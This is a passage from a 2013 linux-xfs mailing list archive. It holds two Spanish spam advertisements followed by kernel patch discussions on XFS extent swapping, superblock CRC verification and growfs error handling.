fs/xfs/xfs_ialloc.c | 7 +- fs/xfs/xfs_icache.c | 15 +- fs/xfs/xfs_icache.h | 50 + fs/xfs/xfs_icreate_item.c | 21 +- fs/xfs/xfs_icreate_item.h | 18 - fs/xfs/xfs_inode.c | 3840 ++++++++++++----------------- fs/xfs/xfs_inode.h | 312 +-- fs/xfs/xfs_inode_buf.c | 483 ++++ fs/xfs/xfs_inode_buf.h | 53 + fs/xfs/xfs_inode_fork.c | 1920 +++++++++++++++ fs/xfs/xfs_inode_fork.h | 171 ++ fs/xfs/xfs_inode_item.c | 53 +- fs/xfs/xfs_inode_item.h | 115 +- fs/xfs/xfs_ioctl.c | 148 +- fs/xfs/xfs_ioctl.h | 10 + fs/xfs/xfs_ioctl32.c | 4 +- fs/xfs/xfs_iomap.c | 21 +- fs/xfs/xfs_iops.c | 78 +- fs/xfs/xfs_iops.h | 13 + fs/xfs/xfs_linux.h | 60 +- fs/xfs/xfs_log.c | 113 +- fs/xfs/xfs_log.h | 90 +- fs/xfs/xfs_log_cil.c | 371 +-- fs/xfs/xfs_log_format.h | 852 +++++++ fs/xfs/xfs_log_priv.h | 155 +- fs/xfs/xfs_log_recover.c | 420 +++- fs/xfs/xfs_log_rlimit.c | 147 ++ fs/xfs/xfs_mount.c | 755 +----- fs/xfs/xfs_mount.h | 113 +- fs/xfs/xfs_qm.c | 95 +- fs/xfs/xfs_qm.h | 2 + fs/xfs/xfs_qm_bhv.c | 1 + fs/xfs/xfs_qm_syscalls.c | 126 +- fs/xfs/xfs_quota.h | 278 +-- fs/xfs/xfs_quota_defs.h | 157 ++ fs/xfs/xfs_quotaops.c | 17 +- fs/xfs/xfs_rename.c | 346 --- fs/xfs/xfs_rtalloc.c | 28 +- fs/xfs/xfs_rtalloc.h | 53 +- fs/xfs/xfs_sb.c | 834 +++++++ fs/xfs/xfs_sb.h | 72 +- fs/xfs/xfs_super.c | 31 +- fs/xfs/xfs_symlink.c | 196 +- fs/xfs/xfs_symlink.h | 41 +- fs/xfs/xfs_symlink_remote.c | 200 ++ fs/xfs/xfs_trace.c | 1 + fs/xfs/xfs_trans.c | 732 +----- fs/xfs/xfs_trans.h | 301 +-- fs/xfs/xfs_trans_ail.c | 18 +- fs/xfs/xfs_trans_buf.c | 2 +- fs/xfs/xfs_trans_dquot.c | 1 + fs/xfs/xfs_trans_priv.h | 15 + fs/xfs/xfs_trans_resv.c | 803 ++++++ fs/xfs/xfs_trans_resv.h | 116 + fs/xfs/xfs_types.h | 60 +- fs/xfs/xfs_utils.c | 314 --- fs/xfs/xfs_utils.h | 27 - fs/xfs/xfs_vnodeops.c | 1870 -------------- fs/xfs/xfs_vnodeops.h | 55 - fs/xfs/xfs_xattr.c | 2 +- include/linux/quota.h | 1 + include/uapi/linux/dqblk_xfs.h | 47 + init/Kconfig | 13 - kernel/capability.c | 1 + 117 files changed, 13677 insertions(+), 11950 deletions(-) create mode 100644 fs/xfs/xfs_attr_inactive.c create mode 100644 fs/xfs/xfs_attr_list.c create mode 100644 fs/xfs/xfs_bmap_util.c create mode 100644 fs/xfs/xfs_bmap_util.h delete mode 100644 fs/xfs/xfs_dfrag.c delete mode 100644 fs/xfs/xfs_dfrag.h create mode 100644 fs/xfs/xfs_dir2_readdir.c create mode 100644 fs/xfs/xfs_format.h create mode 100644 fs/xfs/xfs_inode_buf.c create mode 100644 fs/xfs/xfs_inode_buf.h create mode 100644 fs/xfs/xfs_inode_fork.c create mode 100644 fs/xfs/xfs_inode_fork.h create mode 100644 fs/xfs/xfs_log_format.h create mode 100644 fs/xfs/xfs_log_rlimit.c create mode 100644 fs/xfs/xfs_quota_defs.h delete mode 100644 fs/xfs/xfs_rename.c create mode 100644 fs/xfs/xfs_sb.c create mode 100644 fs/xfs/xfs_symlink_remote.c create mode 100644 fs/xfs/xfs_trans_resv.c create mode 100644 fs/xfs/xfs_trans_resv.h delete mode 100644 fs/xfs/xfs_utils.c delete mode 100644 fs/xfs/xfs_utils.h delete mode 100644 fs/xfs/xfs_vnodeops.c delete mode 100644 fs/xfs/xfs_vnodeops.h From server19@fastfastnews.com Mon Sep 9 13:56:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.8 required=5.0 tests=HTML_MESSAGE, HTML_OBFUSCATE_05_10,MIME_HTML_ONLY autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id EC9C77F55 for ; Mon, 9 Sep 2013 13:56:23 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id D98DC30405F for ; Mon, 9 Sep 2013 11:56:20 -0700 (PDT) X-ASG-Debug-ID: 1378752973-04cb6c153de71be0001-w1Z2WR Received: from srv1.fastfastnews.com (srv1.fastfastnews.com [85.17.188.69]) by cuda.sgi.com with ESMTP id E6G4MPxn1SKCAhLb (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 09 Sep 2013 11:56:14 -0700 (PDT) X-Barracuda-Envelope-From: server19@fastfastnews.com X-Barracuda-Apparent-Source-IP: 85.17.188.69 Received: by srv1.fastfastnews.com (Postfix, from userid 502) id 36C5460344; Mon, 9 Sep 2013 19:54:08 +0200 (CEST) Date: Mon, 9 Sep 2013 19:54:08 +0200 To: linux-xfs@oss.sgi.com From: community internet Subject: =?UTF-8?Q?C=C3=B3mo_crear_webinars_profesionales,_Seminario_Premium?= Message-ID: <558d4fab11a63c9b79d587a27b1f81bc@server19.fastfastnews.com> X-ASG-Orig-Subj: =?UTF-8?Q?C=C3=B3mo_crear_webinars_profesionales,_Seminario_Premium?= X-Priority: 3 X-Mailer: PHPMailer [version 1.72] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/html; charset="UTF-8" X-Barracuda-Connect: srv1.fastfastnews.com[85.17.188.69] X-Barracuda-Start-Time: 1378752974 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.57 X-Barracuda-Spam-Status: No, SCORE=0.57 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, HTML_OBFUSCATE_05_10, HTML_OBFUSCATE_05_10_2, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140480 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_OBFUSCATE_05_10 BODY: Message is 5% to 10% HTML obfuscation 0.00 HTML_MESSAGE BODY: HTML included in message 0.57 HTML_OBFUSCATE_05_10_2 Message is 05% to 10% HTML obfuscation community internet | CĂłmo crear webinars profesionales, Seminario Premium
Si no puedes ver la imagen pincha aquĂ­
Llama al 93 238 65 05 para mĂĄs info
Community Internet - The Social Media Company

Seminario Premium: Cómo crear webinars profesionales 

 

seminariocomohacerwebinarsprofesionalesenriquesanjuancommunityinternet

Seminario Premium compuesto de una sesiĂłn on-line en directo a travĂŠs de webinar (17 de septiembre) y de un dĂ­a intensivo de 8 horas seguidas de taller prĂĄctico (19 de septiembre)

Esto no es un seminario mĂĄs, es la mejor inversiĂłn que podrĂĄs hacer para tener un negocio digital funcionando en el menor tiempo posible

Community Internet – Vía Laietana 59 – Barcelona
¥No te quedes fuera e inscríbete ahora! Las plazas son limitadas
¿Mås información? Llama ahora al +34 93 238 65 05 o escribe un correo a info@community.es

Seminario Redes Sociales y Empresa - InscripciĂłn
 

• Explota el potencial de los webinars de alto impacto aprendiendo las técnicas más avanzadas, importadas directamente desde los Estados Unidos.

• Inaugura tu propia línea de negocios digitales basada en el training, la formación, la consultoría y la comunicación on-line en directo.

• Crea webinars profesionales de alta intensidad que engancharán a la audencia, generarán confianza en tu marca, fidelizarán a tus usuarios y aumentarán tu capacidad de negocio con clientes recursivos.

• Practica las técnicas en directo, de forma real. Ven preparado con tu proyecto y listo para trabajar intensamente.

• Expande tu proyección profesional a clientes en los cinco continentes con webinars de calidad, tanto gratuitos como de pago.

• Utilza los webinars como la gran herramienta de marketing digital que son para la promoción de eventos y la venta de productos y servicios.

 • Un grupo muy reducido (sólo 12 participantes). Este Seminario Premium no es para cualquiera, es para una élite de personas que desea pasar a la acción de verdad, dar un salto mayúsculo en su carrera o negocio y catapultarse hacia un segmento de negocio que representa la vanguardia en términos de comunicación on-line. Para potenciar su efectividad, hemos reducido al máximo el grupo. Las plazas se otorgan por riguroso orden de inscripción. Si te interesa, inscríbete ahora y no te quedes fuera.

• Incluye documentación sobre técnicas, estrategias, plataformas y medios de cobro.

• Obtendrás tu certificado personalizado.

• Dirigido a profesionales liberales, autónomos, empresarios, docentes, profesores, directivos de marketing, consejeros, coaches, periodistas, terapeutas, formadores, trainers, comunicadores, creativos, emprendedores...

• Dirigido y presentado por Enrique San Juan, director de Community Internet Barcelona – The Social Media Company, experto en Social Media & redes sociales.

• Más de 4.700 profesionales capacitados en España y el extranjero.

 

Programa del Seminario Premium CĂłmo crear webinars profesionales (Barcelona, septiembre 2013)

 

17 septiembre. seminario premium como crear webinars profesionales barcelona community internet the social media company enrique san juanWebinar (16.00-18.00 horas)

Como sesión preliminar al seminario presencial, el martes 17 emitiremos una sesión on-line en la que veremos fundamentos, plataformas y tÊcnicas de asignación del tema de trabajo. Este webinar permitirå desarrollar los conceptos teóricos båsicos, proporcionarå experiencia directa sobre las posibilidades interactivas y ayudarå a definir el proyecto de trabajo a desarrollar en la jornada presencial intensiva, donde se expandirå la formación y se pondrån en pråctica las tÊcnicas mås novedosas para impartir webinars profesionales.



19 septiembre. seminario premium como crear webinars profesionales barcelona community internet the social media company enrique san juanJornada presencial intensiva (9.30-18.30 horas)

El jueves 19 descubriremos plataformas, tÊcnicas y formas de negocio con webinars. Comprenderemos la diferencia entre webinars y sesiones formativas on-line, sabremos cómo crear de contenido de valor, abordaremos tåcticas de presentación y locución, desvelaremos las claves para interactuar con la audiencia, aplicaremos pautas de promoción e integración de los sistemas de pago y, en definitiva, conoceremos todos los detalles para que nuestros webinars sean todo un Êxito. Como broche final a la parte pråctica, se procederå a la emisión de los proyectos de los participantes.


 

Enrique San Juan, trainer del seminario

Enrique San Juan, relator Seminario Redes Sociales y EmpresaEnrique San Juan, director de Community Internet Barcelona - The S ocial Media Company es el trainer de este seminario. En su calidad de director de Community Internet Barcelona, concibe, dirige y ejecuta proyectos de Redes Sociales, Social Media y Community Management para empresas, por tanto, tiene experiencia directa en las materias que imparte.

En su rol de consultor y asesor para empresas, ha participado en la planificaciĂłn, implementaciĂłn y desarrollo de exitosas campaĂąas de redes sociales y opera como cool hunter de tendencias en los principales foros internacionales de social media.

Como trainer de redes sociales y social media, en los últimos dos años ha formado de manera directa a más de 4.700 profesionales en el terreno de las redes sociales aplicadas a los negocios. Cuenta con decenas de módulos específicos de formación de Social Media para empresas tanto presenciales como en forma de Webinars. Es miembro del selecto plantel de profesores británicos y españoles de las jornadas técnicas en social media Digital Days, profesor del Master de Comunicación de la escuela de negocios EAE en Barcelona y es el creador y director de los grupos “Community Manager Club”, “Blogger Profesional” e “Instagram Club” en LinkedIn.


Seminario Redes Sociales y Empresa - InscripciĂłn

POWERED BY
Mensaje enviado a linux-xfs@oss.sgi.com
Si no quieres recibir mĂĄs newsletters pincha aqui

From auoovut@yahoo.com Mon Sep 9 14:12:12 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.9 required=5.0 tests=FORGED_YAHOO_RCVD, FREEMAIL_FROM,FREEMAIL_REPLY,HTML_FONT_SIZE_LARGE,HTML_MESSAGE,SUBJ_ALL_CAPS, UPPERCASE_50_75 autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D7DFA7F54 for ; Mon, 9 Sep 2013 14:12:12 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id C41B0304053 for ; Mon, 9 Sep 2013 12:12:09 -0700 (PDT) X-ASG-Debug-ID: 1378753923-04cbb02c3be66f60001-w1Z2WR Received: from server1.sitesahost.com.br (mail.sitesahost.com.br [189.89.116.194]) by cuda.sgi.com with ESMTP id ALEv6xAaU9KjXfbw (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 09 Sep 2013 12:12:05 -0700 (PDT) X-Barracuda-Envelope-From: auoovut@yahoo.com X-Barracuda-Apparent-Source-IP: 189.89.116.194 Received: from [190.19.77.145] (port=4952 helo=yahoo.com) by server1.sitesahost.com.br with esmtpa (Exim 4.80.1) (envelope-from ) id 1VJ6od-0006YU-AP for linux-xfs@oss.sgi.com; Mon, 09 Sep 2013 16:08:03 -0300 From: aufaacbset@yahoo.com, ROBERTO To: linux-xfs@oss.sgi.com Subject: LA FORMA DE LLEGAR HOY A LA PALMA DE LA MANO DE TUS CLIENTES 309 Date: 09 Sep 2013 16:12:05 -0300 X-ASG-Orig-Subj: LA FORMA DE LLEGAR HOY A LA PALMA DE LA MANO DE TUS CLIENTES 309 Message-ID: <20130909161204.DF08DEE3F6A9CAD3@yahoo.com> MIME-Version: 1.0 Disposition-Notification-To: renatog1951@terra.com Content-Type: multipart/alternative; boundary="----=_NextPart_000_0012_DAE99B7C.CE39E0CA" X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - server1.sitesahost.com.br X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - yahoo.com X-Get-Message-Sender-Via: server1.sitesahost.com.br: authenticated_id: arcontabil@arcontabil.com.br X-Barracuda-Connect: mail.sitesahost.com.br[189.89.116.194] X-Barracuda-Start-Time: 1378753924 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.31 X-Barracuda-Spam-Status: No, SCORE=2.31 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_FONT_SIZE_LARGE, HTML_MESSAGE, SUBJ_ALL_CAPS, SUBJ_ALL_CAPS_2, UPPERCASE_50_75, UPPERCASE_50_75_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140480 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_FONT_SIZE_LARGE BODY: HTML font size is large 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 UPPERCASE_50_75 message body is 50-75% uppercase 0.01 SUBJ_ALL_CAPS Subject is all capitals 1.81 SUBJ_ALL_CAPS_2 SUBJ_ALL_CAPS_2 0.49 UPPERCASE_50_75_2 message body is 50-75% uppercase ------=_NextPart_000_0012_DAE99B7C.CE39E0CA Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 8bit vlwms LA PUBLICIDAD DEL MOMENTO ENVIO DE MAILS  Y/O DE S.M.S.   LA MEJOR MANERA DE OFRECER SU PRODUCTO Y/O SERVICIO Y QUE SEA RECIBIDO EN LA PALMA DE LAMANO O EN EL ESCRITORIO DE SUS POTENCIALES CLIENTES. LOS MAILS SON RECIBIDOS HOY EN DIA EN EL 89%DE LOS CELULARES, O EN SUS DISPOSITIVOS MOVILES,TABLETS,PC,ETC.   DESDE $600     La mejor prueba de que la publicidad por mail es efectiva y llega, es esta. Para contratar el envio de tus  anuncios,o por cualquier consulta: rba_1951@datafull.com TEL.:011-4976-4562(telefono de linea) PARA NO RECIBIR MÁS, MANDA "REMOVER" A: nodeeseomasmails@yahoo.com.ar uaxmj ------=_NextPart_000_0012_DAE99B7C.CE39E0CA Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable vlwms

LA PUBLICIDAD DEL MOMENTO

ENVIO DE MAILS  Y/O DE S.M.S.

 

= LA MEJOR MANERA DE OFRECER SU PRODUCTO Y/O SERVICIO=

= Y QUE SEA RECIBIDO EN LA PALMA DE LAMANO O EN EL ESCRITORIO

= DE SUS POTENCIALES CLIENTES.

= LOS MAILS SON RECIBIDOS HOY EN DIA EN EL 89%DE LOS CELULARES,<= /SPAN>

= O EN SUS DISPOSITIVOS MOVILES,TABLETS,PC,ETC.

 

= DESDE $600

 

 

La mejor prueba de que la publicidad por mail es efectiva y llega, es= esta.

=
Para contratar el envio de tus 
anuncios,o por cualquier consulta:

rba_1951@datafull.com

TEL.:011-4976-4562(telefono de linea)

PARA NO RECIBIR MÁS, MANDA "REMOVER" A:

nodeeseomasmails@yahoo.com.ar



uaxmj

------=_NextPart_000_0012_DAE99B7C.CE39E0CA-- From tinguely@sgi.com Mon Sep 9 15:32:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 48F1A7F55 for ; Mon, 9 Sep 2013 15:32:55 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 230BF304051; Mon, 9 Sep 2013 13:32:52 -0700 (PDT) Message-ID: <522E3073.2080501@sgi.com> Date: Mon, 09 Sep 2013 15:32:51 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 1/2] xfs: swap extents operations for CRC filesystems References: <1377822225-17621-1-git-send-email-david@fromorbit.com> <1377822225-17621-2-git-send-email-david@fromorbit.com> In-Reply-To: <1377822225-17621-2-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 08/29/13 19:23, Dave Chinner wrote: > From: Dave Chinner > > For CRC enabled filesystems, we can't just swap inode forks from one > inode to another when defragmenting a file - the blocks in the inode > fork bmap btree contain pointers back to the owner inode. Hence if > we are to swap the inode forks we have to atomically modify every > block in the btree during the transaction. > > We are doing an entire fork swap here, so we could create a new > transaction item type that indicates we are changing the owner of a > certain structure from one value to another. If we combine this with > ordered buffer logging to modify all the buffers in the tree, then > we can change the buffers in the tree without needing log space for > the operation. However, this then requires log recovery to perform > the modification of the owner information of the objects/structures > in question. > > This does introduce some interesting ordering details into recovery: > we have to make sure that the owner change replay occurs after the > change that moves the objects is made, not before. Hence we can't > use a separate log item for this as we have no guarantee of strict > ordering between multiple items in the log due to the relogging > action of asynchronous transaction commits. Hence there is no > "generic" method we can use for changing the ownership of arbitrary > metadata structures. > > For inode forks, however, there is a simple method of communicating > that the fork contents need the owner rewritten - we can pass a > inode log format flag for the fork for the transaction that does a > fork swap. This flag will then follow the inode fork through > relogging actions so when the swap actually gets replayed the > ownership can be changed immediately by log recovery. So that gives > us a simple method of "whole fork" exchange between two inodes. > > This is relatively simple to implement, so it makes sense to do this > as an initial implementation to support xfs_fsr on CRC enabled > filesytems in the same manner as we do on existing filesystems. This > commit introduces the swapext driven functionality, the recovery > functionality will be in a separate patch. > > Signed-off-by: Dave Chinner > --- Makes sense. Change owner in btree entry, Don't log the modified btree buffers but recreate in recovery when necessary. Reviewed-by: Mark Tinguely From sandeen@sandeen.net Mon Sep 9 15:33:36 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C33C37F5F for ; Mon, 9 Sep 2013 15:33:36 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 52F00AC007 for ; Mon, 9 Sep 2013 13:33:33 -0700 (PDT) X-ASG-Debug-ID: 1378758811-04cbb02c3ee68cc0001-w1Z2WR Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id YodQfvDOMZkmR2JS for ; Mon, 09 Sep 2013 13:33:31 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 72E6568B7203; Mon, 9 Sep 2013 15:33:31 -0500 (CDT) Message-ID: <522E3099.1040503@sandeen.net> Date: Mon, 09 Sep 2013 15:33:29 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Eric Sandeen CC: "'linux-xfs@oss.sgi.com'" Subject: [PATCH V2] xfs: be more forgiving of a v4 secondary sb w/ junk in v5 fields References: <520D1BA3.1050500@redhat.com> <20130815210018.GR6023@dastard> <520D44E7.1000905@sandeen.net> <520D592D.4040600@redhat.com> X-ASG-Orig-Subj: [PATCH V2] xfs: be more forgiving of a v4 secondary sb w/ junk in v5 fields In-Reply-To: <520D592D.4040600@redhat.com> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1378758811 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140481 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Today, if xfs_sb_read_verify encounters a v4 superblock with junk past v4 fields which includes data in sb_crc, it will be treated as a failing checksum and a significant corruption. There are known prior bugs which leave junk at the end of the V4 superblock; we don't need to actually fail the verification in this case if other checks pan out ok. So if this is a secondary superblock, and the primary superblock doesn't indicate that this is a V5 filesystem, don't treat this as an actual checksum failure. We should probably check the garbage condition as we do in xfs_repair, and possibly warn about it or self-heal, but that's a different scope of work. Stable folks: This can go back to v3.10, which is what introduced the sb CRC checking that is tripped up by old, stale, incorrect V4 superblocks w/ unzeroed bits. Cc: stable@vger.kernel.org Signed-off-by: Eric Sandeen --- V2: Comment changes: More! (No code changes) diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c index 2b0ba35..b2deab1 100644 --- a/fs/xfs/xfs_mount.c +++ b/fs/xfs/xfs_mount.c @@ -749,6 +749,11 @@ xfs_sb_verify( * single bit error could clear the feature bit and unused parts of the * superblock are supposed to be zero. Hence a non-null crc field indicates that * we've potentially lost a feature bit and we should check it anyway. + * + * However, past bugs (i.e. in growfs) left non-zeroed regions beyond the + * last field in V4 secondary superblocks. So for secondary superblocks, + * we are more forgiving, and ignore CRC failures if the primary doesn't + * indicate that the fs version is V5. */ static void xfs_sb_read_verify( @@ -769,8 +774,12 @@ xfs_sb_read_verify( if (!xfs_verify_cksum(bp->b_addr, be16_to_cpu(dsb->sb_sectsize), offsetof(struct xfs_sb, sb_crc))) { - error = EFSCORRUPTED; - goto out_error; + /* Only fail bad secondaries on a known V5 filesystem */ + if (bp->b_bn != XFS_SB_DADDR && + xfs_sb_version_hascrc(&mp->m_sb)) { + error = EFSCORRUPTED; + goto out_error; + } } } error = xfs_sb_verify(bp, true); From sandeen@sandeen.net Mon Sep 9 15:36:22 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2ACD67F5F for ; Mon, 9 Sep 2013 15:36:22 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id C223EAC009 for ; Mon, 9 Sep 2013 13:36:21 -0700 (PDT) X-ASG-Debug-ID: 1378758980-04bdf02f23ea90d0001-w1Z2WR Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id VsuJnu62LVD9ZBCP for ; Mon, 09 Sep 2013 13:36:20 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 0F5A768B7203; Mon, 9 Sep 2013 15:36:19 -0500 (CDT) Message-ID: <522E3142.7090501@sandeen.net> Date: Mon, 09 Sep 2013 15:36:18 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Eric Sandeen CC: "'linux-xfs@oss.sgi.com'" Subject: Re: [PATCH, RFC] xfs: don't break from growfs ag update loop on error References: <520D1AAC.8090701@redhat.com> X-ASG-Orig-Subj: Re: [PATCH, RFC] xfs: don't break from growfs ag update loop on error In-Reply-To: <520D1AAC.8090701@redhat.com> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1378758980 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=COMMA_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140481 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 COMMA_SUBJECT Subject is like 'Re: FDSDS, this is a subject' On 8/15/13 1:15 PM, Eric Sandeen wrote: > When xfs_growfs_data_private() is updating backup superblocks, > it bails out on the first error encountered, whether reading or > writing: Any thoughts on this one? W/ the verifiers, we have a higher chance of encountering an error, and leaving the rest of the supers un-updated. Repair will then possibly revert the fs to it's pre-growfs state, and data loss will ensue... Thanks, -Eric > * If we get an error writing out the alternate superblocks, > * just issue a warning and continue. The real work is > * already done and committed. > > This can cause a problem later during repair, because repair > looks at all superblocks, and picks the most prevalent one > as correct. If we bail out early in the backup superblock > loop, we can end up with more "bad" matching superblocks than > good, and a post-growfs repair may revert the filesystem to > the old geometry. > > With the combination of superblock verifiers and old bugs, > we're more likely to encounter read errors due to verification. > > And perhaps even worse, we don't even properly write any of the > newly-added superblocks in the new AGs. > > Even with this change, growfs will still say: > > xfs_growfs: XFS_IOC_FSGROWFSDATA xfsctl failed: Structure needs cleaning > data blocks changed from 319815680 to 335216640 > > which might be confusing to the user, but it at least communicates > that something has gone wrong, and dmesg will probably highlight > the need for an xfs_repair. > > And this is still best-effort; if verifiers fail on more than > half the backup supers, they may still "win" - but that's probably > best left to repair to more gracefully handle by doing its own > strict verification as part of the backup super "voting." > > Signed-off-by: Eric Sandeen > --- > > diff --git a/fs/xfs/xfs_fsops.c b/fs/xfs/xfs_fsops.c > index 614eb0c..70714bb 100644 > --- a/fs/xfs/xfs_fsops.c > +++ b/fs/xfs/xfs_fsops.c > @@ -153,7 +153,7 @@ xfs_growfs_data_private( > xfs_buf_t *bp; > int bucket; > int dpct; > - int error; > + int error, saved_error = 0; > xfs_agnumber_t nagcount; > xfs_agnumber_t nagimax = 0; > xfs_rfsblock_t nb, nb_mod; > @@ -495,29 +495,33 @@ xfs_growfs_data_private( > error = ENOMEM; > } > > + /* > + * If we get an error reading or writing alternate superblocks, > + * continue. xfs_repair chooses the "best" superblock based > + * on most matches; if we break early, we'll leave more > + * superblocks un-updated than updated, and xfs_repair may > + * pick them over the properly-updated primary. > + */ > if (error) { > xfs_warn(mp, > "error %d reading secondary superblock for ag %d", > error, agno); > - break; > + saved_error = error; > + continue; > } > 